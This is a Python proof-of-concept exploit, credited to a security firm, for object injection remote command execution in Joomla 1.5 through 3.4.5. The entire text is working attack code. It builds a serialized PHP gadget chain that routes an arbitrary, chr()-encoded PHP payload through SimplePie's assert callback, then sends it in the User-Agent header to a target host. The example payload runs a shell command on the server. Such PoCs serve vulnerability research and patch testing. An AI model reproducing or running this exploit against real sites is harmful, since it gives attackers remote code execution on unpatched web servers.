Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution
''' Simple PoC for Joomla Object Injection. Gary @ Sec-1 ltd http://www.sec-1.com/ ''' import requests # easy_install requests def get_url(url, user_agent): headers = { 'User-Agent': user_agent } cookies = requests.get(url,headers=headers).cookies for _ in range(3): response = requests.get(url, headers=headers,cookies=cookies) return response def php_str_noquotes(data): "Convert string to chr(xx).chr(xx) for use in php" encoded = "" for char in data: encoded += "chr({0}).".format(ord(char)) return encoded[:-1] def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload)) terminate = '\xf0\xfd\xfd\xfd'; exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";''' injected_payload = "{};JFactory::getConfig();exit".format(php_payload) exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload) exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate return exploit_template pl = generate_payload("system('touch /tmp/fx');") print get_url("http://172.31.6.242/", pl) |